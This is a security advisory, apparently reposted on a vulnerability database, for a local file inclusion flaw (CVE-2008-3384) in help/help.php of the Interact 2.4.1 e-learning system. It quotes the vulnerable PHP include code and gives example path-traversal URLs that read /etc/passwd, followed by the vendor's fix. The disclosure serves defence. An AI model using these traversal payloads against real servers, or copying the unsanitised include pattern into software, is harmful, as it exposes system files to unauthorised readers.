Topic : | Local File Include Vulnerability in Interact 2.4.1
|
SecurityAlert : 4073
CVE : CVE-2008-3384
CWE : CWE-22
SecurityRisk : High (About)
Remote Exploit : Yes
Local Exploit : No
Victim interaction required : No
Exploit Available : Yes
Credit : Digital Security Research Group [DSecRG] (research dsec ru)
Published : 02.08.2008
Affected Software : | Cce-interact, Interact, 2.4.1 |
 Advisory Content : Digital Security Research Group [DSecRG] Advisory #DSECRG-08-31
Application: Interact E-Learning System
Versions Affected: 2.4.1
Vendor URL:
http://sourceforge.net/projects/cce-interact
Bug: Local File Include
Exploits: YES
Reported: 03.07.2008
Vendor response: 04.07.2008
Solution: YES
Date of Public Advisory: 21.07.2008
Authors: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)
Description
***********
Interact E-Learning System system has local file include vulnerability in
script help/help.php
Vulnerable GET parameters "module", "file".
Code
****
#################################################
$module = isset($_GET['module']) ?
$_GET['module']:'';
$file = isset($_GET['file']) ? $_GET['file']:'';
...
$hpath=$CONFIG['BASE_PATH'].'/language/'.$_SESSION['lan
guage'].'/help/'.
$module.'/'.$file;
if (is_file($hpath)){
require_once($hpath);
} else {
require_once($CONFIG['BASE_PATH'].'/language/default/help/'
.$module.'/'.
$file);
}
#################################################
Example:
http://[server]/[installdir]/help/help.php?module=../../../../../../../.
./../../../../../etc/passwd%00
http://[server]/[installdir]/help/help.php?file=../../../../../../../../
../../../../../etc/passwd
Solution
********
This file is no longer required by the system. Remove it from
installation.
Vendor response:
"I have posted an alert to users to remove this from their installations
asap and will get it removed from the next release of the package."
About
*****
Digital Security is leading IT security company in Russia, providing
information security consulting, audit and penetration testing services,
risk analysis and ISMS-related services and certification for ISO/IEC
27001:2005 and PCI DSS standards. Digital Security Research Group focuses
on web application and database security problems with vulnerability
reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
References :
http://securityreason.com/expldownload/1/4374/1 (Exploit)
http://xforce.iss.net/xforce/xfdb/43937
http://www.securityfocus.com/bid/30315
http://www.securityfocus.com/archive/1/archive/1/494582/100/0/threaded
http://www.milw0rm.com/exploits/6107
http://sourceforge.net/forum/forum.php?thread_id=2104908&forum_id=237160
http://secunia.com/advisories/31150
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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